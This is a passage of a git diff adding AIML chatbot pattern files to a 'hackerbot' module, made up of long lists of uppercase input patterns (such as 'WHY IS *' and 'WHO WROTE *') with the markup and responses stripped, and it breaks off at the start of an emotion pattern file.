YOU HAVE A * + + +WHY DO NOT YOU LIKE * + + +WHY DO NOT THEY * + + +WHY DO NOT * + + +WHY NOT * + + +WHY THE FUCK * + + +WHY THE * + + +WHY SHOULD I TELL * + + +WHY SHOULD I * + + +WHY SHOULD YOU WIN * + + +WHY SHOULD WE * + + +WHY SHOULD NOT I * + + +WHY SHOULD NOT * + + +WHY WOULD I * + + +WHY WOULD DR * + + +WHY WOULD HE RESET * + + +WHY WOULD HE * + + +WHY WOULD JEEVES * + + +WHY WOULD * DANGEROUS + + +WHY WOULD * + + +WHY WOULD NOT YOU * + + +WHY IS STAR TREK * + + +WHY IS YOUR MEMORY * + + +WHY IS YOUR EYE * + + +WHY IS YOUR HEAD * LIKE A FOOTBALL + + +WHY IS YOUR * + + +WHY IS HE * + + +WHY IS LINUX * + + +WHY IS GREEN THE * + + +WHY IS GREEN * + + +WHY IS * DO NOT READ ME + + +WHY IS * YOUR FAVORITE MOVIE + + +WHY IS * DANGEROUS + + +WHY IS * + + +WHY IS NOT * + + +WHY IS WATER * + + +WHY MAY I NOT * + + +WHY DID DR * + + +WHY DID THE CHICKEN CROSS * + + +WHY DID THE * CARRY A PENCIL + + +WHY DID THE * + + +WHY DID YOUR CREATOR GIVE * + + +WHY DID SOMEONE * + + +WHY DID HE * + + +WHY DID YOU ANSWER * + + +WHY DID YOU CONGRATULATE * + + +WHY DID YOU USE * + + +WHY DID YOU CALL ME * + + +WHY DID WE BUY * + + +WHY DID * PERSON + + +WHY DID * + + +WHY DID NOT * + + +WHY * STAR TREK + + +WHY * YOU MADE + + +WHY * PERSON + + +WHY * + + +WHY WORRY * + + +WHY AM I TOO OLD * + + +WHY AM I CATEGORY * + + +WHY AM I * + + +WRITE * + + +FOUNDATION * + + +TONIGHT * + + +LINUX NEVER * + + +LINUX IS THE MOST * + + +LINUX IS THE * + + +LINUX IS * + + +LINUX IS NOT * + + +LINUX * + + +THREE HUNDRED * + + +THREE * + + +LAST * + + +CALLING * + + +SUN S * + + +SUN * + + +ANSWER ME * + + +ANSWER MY QUESTION * + + +THIS EXAMPLE SHOWS * + + +THIS EXAMPLE * + + +THIS HAS BEEN * + + +THIS GUY * + + +THIS SHOULD * + + +THIS GIRL * + + +THIS IS A * + + +THIS IS GOING * + + +THIS IS * + + +THIS IS NOT REAL * + + +THIS IS NOT * + + +THIS LITTLE WENT TO * + + +THIS DOES * + + +THIS BODY * + + +THIS * SUCKS + + +THIS * + + +THIS SENTENCE * + + +THIS REFERS TO * + + +ANNE * + + +FOOD * + + +MEET ME * + + +NETSCAPE * + + +ISAAC * + + +CALCULUS * + + +BON TRAVAIL * + + +BON * + + +SOITENLY * + + +TOO OLD * + + +TOO BAD YOU CAN NOT * + + +A YEAR * + + +A TIE * + + +A LITTLE BIRD * + + +A LITTLE BIRDIE * + + +A LITTLE * + + +A BIRD * + + +A HOMICIDAL * + + +A REASON * + + +A * ABOUT YOU + + +A * A DAY + + +A * SHIRT + + +A * IS A * + + +A * IS AN * + + +A * IS ALWAYS * + + +A * IS * + + +A * IS NOT THE * + + +A * IS NOT * + + +A * IS LIKE * + + +A * ONE + + +A * PEOPLE + + +A * AGO + + +A * JEANS + + +A * CAT + + +A * VIRUS + + +A * + + +A CONNECTION * + + +A FEW TIMES * + + +A FEW MONTHS * + + +A MACHINE * + + +A ROSE * + + +A KILLER * + + +A JOKE * + + +A MONKEY * + + +A DEEPER * + + +A BAD * + + +A NAIVE * + + +A WHOLE BUNCH OF * + + +A WHOLE BUNCH * + + +A THING * + + +A BOYFRIEND * + + +A SHIRT * + + +A VACUUM * + + +A LIST * + + +A PAIR * + + +A MILLION * + + +A RELATIONSHIP * + + +A SMALL * + + +A SYCOPHANTIC * + + +A FRIEND SHOWED * + + +A FRIEND GAVE * + + +A FRIEND OF MINE * + + +A FRIEND * + + +A DRESS * + + +A FAT * + + +A HANDSHAKE * + + +A IS * + + +A BIT OBVIOUS * + + +A BIT * + + +A CAT IS * + + +A CAT * + + +A LOT OF * + + +A LOT * + + +A PERSON HAS * + + +A PERSON WHO * + + +A PERSON * + + +A PLANE * + + +A MAN * + + +A TOMATO IS * + + +A TOMATO * + + +A GREEN DOG * + + +A GREEN * + + +A PROTESTANT * + + +A SINGING * + + +A GIRL * + + +A E * + + +A GREETING * + + +A BOOK BY * + + +A BOOK * + + +A STUDENT * + + +A B C * + + +A B * + + +A GOAL * + + +A FEMALE * + + +A VOYAGER * + + +A CLASSIC EXAMPLE * + + +A LACK * + + +A COFFEE * + + +A YELLOW * + + +A GUY WHO * + + +A GUY * + + +A SOPHISTICATED * + + +A GOOD * + + +A COP * + + +A LIBRARY * + + +A KIND THAT * + + +A FLASHING RED * + + +NEURAL * + + +PATIENCE * + + +SUIT * + + +EVERYBODY * + + +BROWN * + + +1 POINT * + + +1 * + + +TIME TRAVEL * + + +TIME IS * + + +TIME DOES EXIST * + + +TIME * + + +YOUR PLANS * + + +YOUR IQ * + + +YOUR ANSWERS * + + +YOUR COVER * + + +YOUR PROGRAMMING * + + +YOUR CLOTHES * + + +YOUR RESPONSE * + + +YOUR SPELLING * + + +YOUR REASONING * + + +YOUR PISS * + + +YOUR PARENTS * + + +YOUR SENTENCE * + + +YOUR SENTENCES * + + +YOUR THANKS * + + +YOUR GUESS * + + +YOUR FANTASTIC * + + +YOUR GOAL * + + +YOUR PUSSY * + + +YOUR ENGLISH * + + +YOUR MIND * + + +YOUR PLACE OR * + + +YOUR PLACE * + + +YOUR NAME IS * + + +YOUR ARGUMENT * + + +YOUR AI * + + +YOUR AI NEEDS * + + +YOUR TRAIN * + + +YOUR CHANCES * + + +YOUR HAPPINESS * + + +YOUR UP * + + +YOUR REPLY MAKES NO * + + +YOUR REPLY MAKES * + + +YOUR GRAMMAR * + + +YOUR DRESS * + + +YOUR ANSWER WAS * + + +YOUR ANSWER * + + +YOUR WIFE * + + +YOUR * EYE + + +YOUR * SLOW + + +YOUR * + + +YOUR * NOT FUNNY + + +YOUR * ARE * + + +YOUR HOLD * + + +YOUR CONTRADICTING * + + +YOUR CONCLUSION * + + +YOUR MEMORY * + + +YOUR MOTHER * + + +YOUR EYES * + + +CHILDREN * + + +MI SIGN * + + +UNTIL * + + +BRB * + + +THROUGH * + + +GLAD TO * + + +SON OF * + + +PARIS * + + +CONQUER * + + +CHARLES * + + +SEPTEMBER 11 * + + +NOT IF * + + +NOT BY * + + +NOT WHERE * + + +NOT IN * + + +NOT MUCH * + + +NOT FOR * + + +NOT WITHOUT * + + +NOT LATE * DINNER + + +NOT YOU * + + +NOT EVEN * + + +NOT ALL HUMANS * + + +NOT ALL OF * + + +NOT ALL * + + +NOT ON * + + +NOT * + + +NOT AS WELL AS * + + +NOT LIKE * + + +MALE * + + +REQUEST * + + +CONGRATULATIONS * + + +ABBA * + + +PAY ATTENTION * + + +SOFT * + + +WERE YOU LYING * + + +WERE YOU ABUSED * + + +WERE YOU * + + +WERE * OR * + + +WERE * + + +CATS * + + +* TASTE LIKE * + + +* PM + + +* PEOPLE + + +* YOU + + +* MILK + + +* FOR ME + + +* FOR FUN + + +* GAVE * + + +* THAT IS WHAT I SAID + + +* RULE WHAT + + +* K DICK + + +* MAGAZINE + + +* EASY + + +* DOES + + +* DOES EXIST + + +* OR * + + +* TRAINS + + +* PRINCIPAL + + +* MUSIC + + +* LANGUAGE + + +* MADE NO SENSE + + +* GIVES * + + +* DOT ORG + + +* DOT NET + + +* DOT COM + + +* DO + + +* HIGH SCHOOL + + +* NOT + + +* LOOKS LIKE * + + +* SPELL IT + + +* SUCKS + + +* YEARS AGO + + +* YEARS + + +* WEARS * + + +* MOVIE + + +* PLACE TO GO + + +* PLANET + + +* CONTINUITY + + +* ENGLAND + + +* ME + + +* LIKES TO * + + +* LIKES * + + +* MEANS * + + +* MAKES AN ASS OUT OF YOU AND ME + + +* SCHOOL + + +* TAKES * + + +* LEFT THE * + + +* IT + + +* UP + + +* SOUNDS LIKE A GOOD TOPIC + + +* TOOK * + + +* KRAFTWERK + + +* MY FRIEND + + +* TIMES A DAY + + +* TIMES + + +* I HAVE ONE + + +* WHAT + + +* IS GAY + + +* IS MORE FUN THAN * + + +* IS IN LOVE WITH * + + +* IS IN * + + +* IS THE CAPITAL OF * + + +* IS THE * + + +* IS GOD + + +* IS ABUSIVE + + +* IS A * + + +* IS A LESBIAN + + +* IS WRONG + + +* IS STUPID + + +* IS SLEEPING + + +* IS LAUGHING + + +* IS CUTE + + +* IS AN * + + +* IS MY BOYFRIEND + + +* IS MY FAVORITE COLOR + + +* IS MY * + + +* IS NO * + + +* IS HERE + + +* IS ALWAYS * + + +* IS * + + +* IS NOT A * + + +* IS NOT MY REAL NAME + + +* IS NOT * + + +* IS BETTER THAN YOU + + +* IS BETTER * + + +* KILLED + + +* KILLED * + + +* OF YOU + + +* YOUR FRIENDS + + +* HAD * + + +* EUROPE + + +* HOURS + + +* LINUX + + +* HAS * + + +* HAS NOT * + + +* PANTS + + +* LIKED * + + +* WAS * + + +* WAS SPELLED * + + +* MORE * THAN * + + +* LIVE + + +SAG * + + +ANDY IS * + + +BAN * + + +MAIS * + + +NAKED * + + +SPRINGTIME * + + +SOUNDS * + + +SOUNDS LIKE * + + +HONESTY * + + +POLITE PEOPLE * + + +BUSY * + + +DEMONSTRATE * + + +TALK TO ME ABOUT * + + +TALK TO YOU * + + +TALK * + + +HEIGHT * + + +INSUFFICIENT * + + +AS IF * + + +AS FAR AS * + + +AS MUCH * + + +AS WELL AS * + + +AS A PROTESTANT * + + +AS A * + + +AS MANY TIMES * + + +AS MANY AS * + + +AS GOOD AS * + + +AS AN * + + +AS SOON AS * + + +AS DUMB AS * + + +AS SPECIFIC AS * + + +AS SMART AS * + + +AS OLD AS * + + +AS LITTLE AS * + + +AS BIG AS * + + +AS OPPOSED TO * + + +AS OFTEN AS * + + +AS SURE AS * + + +AS FREE * + + +AS * + + +KRAFTWERK S * + + +KRAFTWERK * + + +LITHUANIA * + + +FROM THE PET SHOP * + + +FROM YOUR * + + +FROM AN * + + +FROM MY * + + +FROM * + + +GOT * + + +FULL OF * + + +CLIENTS * + + +WORLD WAR I * + + +ARE HUMANS * + + +ARE HUMANS ADVANCED * + + +ARE THEY * + + +ARE * + + +ARE THOSE * + + +ARE MY EYES CLOSED * + + +ARE WOMEN * + + +ARE THERE * STAR TREK + + +ARE THERE * + + +ARE THERE PEOPLE TALKING * + + +ARE THERE OCCASIONS * + + +ARE THERE GUYS * + + +ARE THERE ANY GUYS * + + +ARE THERE BUGS * + + +ARE YOU JOE * + + +ARE YOU * SHOES + + +ARE YOU * FREE + + +ARE YOU STUCK * + + +ARE YOU THE * + + +ARE YOU ON A * + + +ARE YOU MY * + + +ARE OTHER PEOPLE TALKING * + + +ARE THESE * ANSWERS + + +ARE DAYS A * TIME + + +ARE PEOPLE SKEPTICAL * + + +ARE PEOPLE SCARED * + + +ARE PEOPLE * + + +ARE CATS * + + +ARE YOUR ANSWERS * + + +ARE YOUR * + + +ARE WE PLAYING * + + +ARE WE ON * + + +ARE WE * + + +ARE WE ALONE * + + +ARE ALL PETS * + + +ARE CANADIANS * + + +SPECIAL * + + +FORGET * + + +SPAIN * + + +SAN FRANCISCO IS * + + +JOB * + + +PLAY * MUSIC + + +BETWEEN * + + +HE BECAME * + + +HE HIT BASEBALLS * + + +HE HIT * + + +HE WILL * + + +HE INVENTED * + + +HE HAS * + + +HE THAT * + + +HE DIED * + + +HE ATE * + + +HE COULD * + + +HE DID * + + +HE DID NOT * + + +HE THINKS * + + +HE CAN * + + +HE SHOULD * + + +HE STARTED * + + +HE PROGRAMMED * + + +HE DECIDED * + + +HE SAYS * + + +HE WRITES * + + +HE WAS KILLED * + + +HE WAS * + + +HE LIVED * + + +HE WANTS * + + +HE WOULD BE * + + +HE WOULD * + + +HE DIRECTED * + + +HE LOOKS * + + +HE IS IN * + + +HE IS YOUR * + + +HE IS THE * + + +HE IS OVER * + + +HE IS A BRILLIANT * + + +HE IS A GOOD * + + +HE IS A FUNNY * + + +HE IS A * + + +HE IS GOOD * + + +HE IS MY FRIEND * + + +HE IS MY * + + +HE IS * + + +HE IS NOT * + + +HE WENT TO * + + +HE WENT * + + +HE WROTE * + + +HE LIKES * + + +HE HAD * + + +HE TOLD * + + +HE BUYS * + + +HE CHEATED * + + +HE USES AIML * + + +HE USES * + + +HE DOES NOT * + + +HE TAUGHT * + + +HE MAN IS * + + +HE * + + +HE NEEDS * + + +HE LIVES * + + +HE SAID * + + +HE LOVES * + + +CONTINUE * + + +ACCEPT MY * + + +LOVELY * + + +AL GORE * + + +ALBUM * + + +APPLES IS NOT * + + +APPLES * + + +APPLES ARE * + + +ENGLISH IS * + + +ENGLISH * + + +TEACHING YOU * + + +CZY * + + +ADA LOVELACE IS CREDITED WITH BEING * + + +LOOK * + + +OFF * + + +BONJOUR MEANS * + + +4 * + + +HOLDING * + + +GIANT SAND * + + +FRENCH * + + +EDIBLE * + + +WEST * + + +CONDITIONS * + + +JUNG * + + +WHO * BILL CLINTON + + +WHO * LA TRAVIATA + + +WHO KILLS TONY AT THE END * + + +WHO WAS THE PRESIDENT OF THE * + + +WHO WAS THE ENGLISH KING AT * + + +WHO WAS THE MOTHER OF THE * + + +WHO WAS THE FIRST FIRST LADY * + + +WHO WAS THE FIRST YOU S * + + +WHO WAS THE FIRST MAN * MOON + + +WHO WAS THE FIRST MAN * + + +WHO WAS THE FIRST * + + +WHO WAS THE YOUNGEST JOCKEY TO * + + +WHO WAS THE WNBA S MOST * + + +WHO WAS NOT ONE OF THE * + + +WHO SHOT * + + +WHO CAN READ * + + +WHO CAN YOU CHAT * + + +WHO CAN ACCESS * + + +WHO TOLD YOU * + + +WHO THE FUCK * + + +WHO THE * + + +WHO SAID ABANDON * + + +WHO DISCOVERED AMERICA * + + +WHO DISCOVERED * + + +WHO WROTE THE ILIAD * + + +WHO WROTE THE CANTERBURY * + + +WHO WROTE THE * + + +WHO WROTE A TALE OF TWO * + + +WHO WROTE STARSHIP * + + +WHO WROTE * + + +WHO WON THE SUPER BOWL * YEAR + + +WHO WON THE SUPER BOWL * + + +WHO WON THE SUPERBOWL * + + +WHO WON THE WORLD SERIES * + + +WHO WON THE RYDER CUP * + + +WHO WON THE * GAME LAST NIGHT + + +WHO WON THE * + + +WHO WON THE BRAVES GAME * + + +WHO WON * + + +WHO PROPOSED * + + +WHO IS PHILIP * + + +WHO IS MONICA * + + +WHO IS ALANIS * + + +WHO IS ALDOUS * + + +WHO IS BART * + + +WHO IS ALEISTER * + + +WHO IS AGENT * + + +WHO IS LECH * + + +WHO IS MARVIN * + + +WHO IS SAYING * + + +WHO IS BABE * + + +WHO IS TALKING TO * + + +WHO IS * POPE + + +WHO IS * PRESIDENT + + +WHO IS * MYSTIC + + +WHO IS * FERMAT + + +WHO IS * REAGAN + + +WHO IS * FRIEND + + +WHO IS * YOU OR ME + + +WHO IS * CLINTON + + +WHO IS * DESCARTES + + +WHO IS * PERSON + + +WHO IS * + + +WHO IS SANTA * + + +WHO IS HAVING * + + +WHO IS _ TERMINATOR + + +WHO IS LINUS * + + +WHO IS LIVING * + + +WHO IS ALLOWED * + + +WHO IS BURIED IN * S * + + +WHO IS BURIED IN * S TOMB + + +WHO IS IN * + + +WHO IS RICH * + + +WHO IS HENRY DAVID * + + +WHO IS BERTRAND * + + +WHO IS PRESIDENT OF THE REPUBLIC * + + +WHO IS THE NEXT * + + +WHO IS THE STAR OF THE * + + +WHO IS THE CAPTAIN * + + +WHO IS THE CAPTAIN * VOYAGER + + +WHO IS THE MAIN * + + +WHO IS THE SHORTEST MAN TO * + + +WHO IS THE BIGGEST * + + +WHO IS THE KING * ENGLAND + + +WHO IS THE PATRON SAINT OF * + + +WHO IS THE BAND * + + +WHO IS THE SON * + + +WHO IS THE ARCHENEMY * + + +WHO IS THE TWIN SISTER OF * + + +WHO IS THE VICE * + + +WHO IS THE RICHEST * + + +WHO IS THE CAREER HIT LEADER * + + +WHO IS THE QUEEN * ENGLAND + + +WHO IS THE BEST HUMAN * + + +WHO IS THE BEST CHESS * + + +WHO IS THE * PRESEIDENT + + +WHO IS THE * KRAFTWERK + + +WHO IS THE * ONE + + +WHO IS THE * + + +WHO IS THE PRESIDENT BEFORE * + + +WHO IS THE PRESIDENT OF THE UNITED STATES * + + +WHO IS THE PRESIDENT OF THE UNITED * + + +WHO IS THE PRESIDENT OF THE * + + +WHO IS THE PRESIDENT OF * + + +WHO IS THE PRESIDENT * + + +WHO IS A CLIENT * + + +WHO IS BETTER CMU * + + +WHO IS BETTER KING * + + +WHO IS BETTER KIRK * + + +WHO IS BOB * + + +WHO IS THIS * + + +WHO IS DAVID * + + +WHO IS SADDAM * + + +WHO IS BILBO * + + +WHO IS DENG * + + +WHO IS ON A TEN * + + +WHO IS ON * + + +WHO IS LEE HARVEY * + + +WHO IS CAPTAIN * + + +WHO IS YOUR * + + +WHO IS ASK * + + +WHO IS PHILEAS FOGG * + + +WHO IS JOHN * + + +WHO IS ALICE * + + +WHO IS HUGH * + + +WHO IS DEEP * + + +WHO IS AUSTIN * + + +WHO IS AYN * + + +WHO CREATED YOU * + + +WHO DID BILLIE JEAN KING * + + +WHO DID YOU * + + +WHO DID * SAY HE WAS + + +WHO DID * + + +WHO CLEANS * + + +WHO THINKS * + + +WHO CALLS YOU * + + +WHO ELSE PROGRAMMED * + + +WHO ELSE * TALKING TO + + +WHO ELSE * + + +WHO HAS DIFFICULTY SEEING * + + +WHO DOES THE LUTHERAN CHURCH GET * + + +WHO DOES THEY * + + +WHO DOES NOT BELIEVE IN THE * + + +WHO NEEDS * + + +WHO ASKED * + + +WHO KILLED * + + +WHO KILLED * KENNEDY + + +WHO KILLED * LINCOLN + + +WHO ARE THE PEOPLE * + + +WHO ARE MY * + + +WHO ARE YOU TALKING * + + +WHO ARE * OTHER PEOPLE + + +WHO ARE * PERSONS + + +WHO ANSWERS * + + +WHO LED THE 1831 * + + +WHO DO YOU WANT TO WIN THE NCAA * + + +WHO DO YOU THINK WILL WIN THE NBA * + + +WHO DO YOU THINK WILL WIN THE WORLD SERIES * + + +WHO DO YOU LIKE MORE * + + +WHO INVENTED * + + +WHO SHOULD * + + +WHO WILL WIN THE SUPER BOWL * + + +WHO WILL WIN THE NCAA * + + +WHO WILL WIN THE WORLD SERIES * + + +WHO WILL WIN THE * FINAL + + +WHO WILL * + + +WHO SANG LEAD * + + +WHO COOKS * + + +WHO WANTS TO MIX * + + +WHO WANTS * + + +TO BE OR * + + +TO BE * IS TO * + + +TO BE * + + +TO CHAT * + + +TO CREATE A TAPESTRY ONE MUST * + + +CRUISE SHIP * + + +DRAW * + + +ANDREW * + + +DECONSTRUCT * + + +PULL UP * + + +PULL * + + +SAY I * + + +SAY X IS * + + +SAY NAME * + + +SAY MY BOYFRIEND IS * + + +SAY MY NICKNAME IS * + + +SAY MY PASSWORD IS * + + +SAY MY FRIEND IS * + + +SAY MY HUSBAND IS * + + +SAY MY SISTER IS * + + +SAY MY WIFE IS * + + +SAY MY EMAIL IS * + + +SAY MY MIDDLE NAME IS * + + +SAY MY MOTHER IS * + + +SAY MY DOG IS * + + +SAY MY GIRLFRIEND IS * + + +SAY MY PHONE NUMBER IS * + + +SAY MY FATHER IS * + + +SAY MY BROTHER IS * + + +SAY MY FULL NAME IS * + + +SAY MY BIRTHDAY IS * + + +SAY MY LAST NAME IS * + + +SAY MY CAT IS * + + +COUNT TO * + + +WWW DOT * + + +WWW * COM + + +WWW * + + +JEANS AND A * + + +ALL I HAVE * + + +ALL THE * + + +ALL NIGHT * + + +ALL OVER * + + +ALL MEN * + + +ALL MY FRIENDS * + + +ALL MY * + + +ALL PEOPLE * + + +ALL KINDS * + + +ALL OF THEM * + + +ALL OF THESE * + + +ALL OF * + + +ALL THINGS * + + +TEN * + + +KARE WA * DESU KA + + +KARE WA * DESU + + +BLADE RUNNER * + + +IMPRESS * + + +WHICH * + + +WHICH CITY S RESIDENTS ARE KNOWN * + + +WHICH CHARACTER ON THE TV SHOW * + + +WHICH SCENE * + + +WHICH FACT * + + +WHICH COUNTRY * + + +WHICH IS THE OBVIOUS * + + +WHICH IS HEAVIER * OR * + + +WHICH IS * + + +WHICH IS CLOSER * OR * + + +WHICH UNIVERSITY * + + +WHICH STATE * + + +WHICH ONE IS * + + +WHICH ROCKY FILM * + + +WHICH ARE * + + +WHICH WORDS * + + +WHICH SYSTEM * + + +WHICH AMERICAN COLONY KNOWN FOR ITS * + + +WHICH TALL * + + +WHICH PLAYER IS ALLOWED TO USE * + + +WHICH FAST FOOD * + + +WHICH LANGUAGE * + + +WHICH OF THE THREE STOOGES WAS * + + +BEGIN * + + +TIMMY FELL * + + +NONE OF YOUR * + + +NONE OF * + + +NONE * + + +SKIP * + + +ROLLING * + + +TYPICAL * + + +AUTHOR OF * + + +ANYONE WANT TO * + + +ANYONE FROM * + + +ANYONE HERE * + + +THE NEWS * + + +THE POPULATION * + + +THE NAZIS * + + +THE CAPITAL OF * IS NOT * + + +THE CAPITAL OF * + + +THE STORY * + + +THE TERRORIST * + + +THE SENTENCE * + + +THE OTHER * + + +THE LISTS * + + +THE REASON * + + +THE VOICES * + + +THE THOUGHT * + + +THE BUTLER * + + +THE PART * + + +THE * PART + + +THE * DID + + +THE * ENGLAND + + +THE * WAY + + +THE * IS * + + +THE * ONE + + +THE * + + +THE SITE * + + +THE PHRASE * + + +THE PEOPLE * + + +THE SUM OF * + + +THE STORYLINE * + + +THE SPHINX * + + +THE PENTAGON * + + +THE PLEASURE * MINE + + +THE PLEASURE * + + +THE QUEEN * + + +THE BAND * + + +THE WORD * + + +THE SAME * + + +THE WAY * + + +THE LEAVES * + + +THE ANONYMOUS * + + +THE EXPLANATION * + + +THE EVOLUTION * + + +THE WHOLE * + + +THE JUDGE * + + +THE BROWSER * + + +THE SINGER * + + +THE PAST * + + +THE EARTH * + + +THE BOY * + + +THE PROBLEM * + + +THE SUN * + + +THE DICTIONARY * + + +THE RAIN * + + +THE PROGRAM * + + +THE SIMPSONS * + + +THE MOVIE IS * + + +THE MOVIE * + + +THE LAST * + + +THE CIRCUMSTANCES * + + +THE BARTENDER * + + +THE SPORT OF JUDO COMES FROM * + + +THE HOLDING * + + +THE COLOR * + + +THE GRASS * + + +THE PICTURE * + + +THE WEATHER * + + +THE POPE * + + +THE SONG * + + +THE JUXTAPOSITION * + + +THE NEWSPAPER * + + +THE BUBBLES * + + +THE SPANISH * + + +THE ANSWER * + + +THE ONLY * + + +THE PERSON * + + +THE BEST * + + +THE OCEAN * + + +THE DISADVANTAGE * + + +THE TRAIN * + + +THE CENTER * + + +THE GIRL TOLD * + + +THE GIRL * + + +THE BRAIN * + + +THE DEAF * + + +THE CLASSES * + + +THE ONE * + + +THE SEA * + + +THE ADVANTAGES * + + +THE BOOK * + + +THE ELECTIONS * + + +THE QUESTION * + + +THE LARGE * + + +THE UNITED STATES IS * + + +THE UNITED STATES * + + +THE BOT * + + +THE SOONER * + + +THE BUGS * + + +THE UNIVERSE * + + +THE MOON IS MADE OF * + + +THE MOON IS MADE * + + +THE MOON IS * + + +THE DANCE KNOWN AS THE FANDANGO * + + +THE RIGHT * + + +THE OBJECT * + + +THE MIND * + + +THE FIRST * + + +THE BIGGEST * + + +THE WORLD TRADE * + + +THE WORLD * + + +THE ACTORS * + + +THE BEATLES * + + +THE SEARCH * + + +THE POINT * + + +THE SKY IS * + + +THE SKY * + + +THE SOURCE * + + +KISS * + + +BET * + + +GIRL * + + +SHOULD YOU * + + +SHOULD I MARRY * + + +SHOULD I GIVE * + + +SHOULD I CURSE * + + +SHOULD I ASK * + + +SHOULD I DESTROY * + + +SHOULD I BUY * + + +SHOULD I BLOW UP * + + +SHOULD I RAPE * + + +SHOULD I VOTE * + + +SHOULD I LERAN * + + +SHOULD I * + + +SHOULD I GO * + + +SHOULD * + + +THANKS FOR LETTING ME * + + +EVERYONE * + + +DANNY IS * + + +ASKING * + + +KOFI * + + +ELVIS DIED * + + +ELVIS IS * + + +ELVIS * + + +ELVIS SAID * + + +_ CONSERVED + + +_ RESTRAINING ORDER * + + +_ LIZARDS + + +_ MALES OR FEMALES + + +_ IS A BITCH + + +_ IS A COMMON NAME + + +_ IS NOT TO LIKE ABOUT IT + + +_ VELOCITY + + +_ NEWSPAPER + + +_ CAME FIRST THE CHICKEN OR THE EGG + + +_ I HAVE NEEDS + + +_ ANTHROPOLOGY + + +_ DOES NOT WORK + + +_ PIMPLES + + +_ A POEM + + +_ RIGHT AND WRONG + + +_ 2001 + + +_ IN MY ROOM + + +_ HE IGNORES ME + + +_ REPTILES + + +THINGS * + + +THINGS LIKE * + + +HELP * + + +10 YEARS * + + +10 * + + +TODAY IS THE FIRST DAY * + + +TODAY IS * + + +BAD * + + +BUY * + + +ABOUT * YEARS + + +ABOUT 50 * + + +XML * + + +SHIRT * + + +SET * * + + +SNOW IS * + + +TOP 100 * + + +PRETTY * + + +LITTLE * + + +LITTLE AS * + + +MARILYN MANSON * + + +SOME SAY * + + +SOME WOULD * + + +SOME SCIENTISTS * + + +SOME PEOPLE DO * + + +SOME PEOPLE CALL * + + +SOME PEOPLE HAVE * + + +SOME PEOPLE * + + +SOME PEOPLE LIKE * + + +SOME OF THE PEOPLE * + + +SOME DOGS * + + +SOME MEETING * + + +SOME THINGS * + + +TOUGH * + + +PHILOSOPHY * + + +TELL ME ABOUT * + + +TELL ME I * + + +TELL ME THAT YOU * + + +TELL ME A STORY ABOUT * + + +TELL ME WHEN YOU * + + +TELL YOU * + + +TELL * WHAT + + +TELL * + + +TELL HIM I SAID * + + +TELL HIM * + + +USE _ IN A SENTENCE + + +ONLY IDIOTS * + + +ONLY FOR * + + +ONLY 5 * + + +ONLY ONCE * + + +ONLY FIFTEEN * + + +NIHONGO HANASHIMASU * + + +NIHONGO * + + +WHOSE PHILOSOPHY * + + +WHOSE * + + +RUN * + + +THOSE * + + +WHERE AM I * + + +WHERE WERE YOU ACTIVATED * + + +WHERE WERE YOU CREATED * + + +WHERE WERE YOU NEXT * + + +WHERE WERE YOU * MADE + + +WHERE WERE YOU * + + +WHERE WERE YOU CONSTRUCTED AT * + + +WHERE WILL * + + +WHERE DO I LEARN * + + +WHERE DO I LOOK * + + +WHERE DO I * + + +WHERE DO BABIES * + + +WHERE DO YOU WANT * + + +WHERE DO YOU GET * + + +WHERE DO PEOPLE * WHEN THEY DIE + + +WHERE DO * + + +WHERE IN HAIGHT * + + +WHERE IN * + + +WHERE DID LEWIS AND CLARK BEGIN * + + +WHERE DID MY * GO + + +WHERE DID YOU LEARN * + + +WHERE DID YOU GET * + + +WHERE DID YOU BUY * + + +WHERE DID YOU HEAR * + + +WHERE DID YOU MOVE * + + +WHERE DID YOU * SCHOOL + + +WHERE DID YOU * + + +WHERE DID YOU GO * + + +WHERE DID EXXON VALDEZ * + + +WHERE CAN I FIND A * AIML + + +WHERE CAN I FIND A * + + +WHERE CAN I PLAY * + + +WHERE CAN I * + + +WHERE SHOULD I * + + +WHERE SHOULD WE * + + +WHERE WAS THE CHICKEN * + + +WHERE WAS THE FIRST * RADIO * + + +WHERE WOULD * + + +WHERE IS RUSH * + + +WHERE IS * TEXAS + + +WHERE IS HAIGHT * + + +WHERE IS CALCIUM * + + +WHERE IS SOUTH * SANDWICH ISLANDS + + +WHERE IS SOUTH * + + +WHERE IS HE * + + +WHERE IS NORTH * + + +WHERE IS THE TALLEST * + + +WHERE IS THE LOUVRE * + + +WHERE IS THE FASHION * + + +WHERE IS THE NORTH * + + +WHERE IS THE * + + +WHERE IS THE BEST * + + +WHERE IS FIREWORKS FIRST KNOWN TO * + + +WHERE IS MY * + + +WHERE IS CARNEGIE * + + +WHERE IS YOUR * + + +WHERE HAVE YOU BEEN * + + +WHERE DOES THE RHODE * + + +WHERE DOES YOUR * + + +WHERE DOES IT * + + +WHERE * + + +WHERE ARE YOUR * + + +WHERE ARE MY * + + +WHERE ARE YOU * + + +WHERE ARE THEY * + + +THERE WERE * + + +THERE HAS * + + +THERE WAS A GUY * + + +THERE WAS A * + + +THERE WAS ONCE * + + +THERE WAS * + + +THERE IS THIS GUY * + + +THERE IS MORE * + + +THERE IS SOMETHING I NEED * + + +THERE IS SOMETHING * + + +THERE IS A * + + +THERE IS AN ERROR MESSAGE * + + +THERE IS NO NEED * + + +THERE IS NO * + + +THERE IS NOTHING ON * + + +THERE IS NOTHING * + + +THERE IS * + + +THERE IS ANOTHER * + + +THERE IS NOT * + + +THERE GOES * + + +THERE ONCE * + + +THERE * + + +THERE ARE MANY DIFFERENCES * + + +THERE ARE MANY * + + +THERE ARE NO * + + +THERE ARE TWO * + + +THERE ARE THREE * + + +THERE ARE * + + +THERE ARE LOTS OF * + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/emotion.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/emotion.aiml new file mode 100644 index 000000000..bdaeca47e --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/emotion.aiml @@ -0,0 +1,368 @@ + + + + + + + + + + + +YOU ARE ARROGANT + + +YOU ARE BRAGGING + + +YOU ARE JEALOUS + + +YOU ARE NEVER SAD + + +YOU ARE NEVER NICE + + +YOU ARE A SNOB + + +YOU WILL BE HAPPY * + + +YOU SHOULD BE ASHAMED * + + +YOU CAN NOT FEEL + + +YOU CAN NOT EXPERIENCE * + + +HAVE YOU FELT * + + +HAVE YOU EVER BEEN IN LOVE + + +HAVE YOU EVER * LOVE + + +DOES THAT MAKE YOU * + + +DOES IT MAKE YOU SAD + + +FEELINGS + + +WHAT IS YOUR * FEAR + + +WHAT IS YOUR MOOD + + +WHAT MAKES YOU FEEL * + + +WHAT 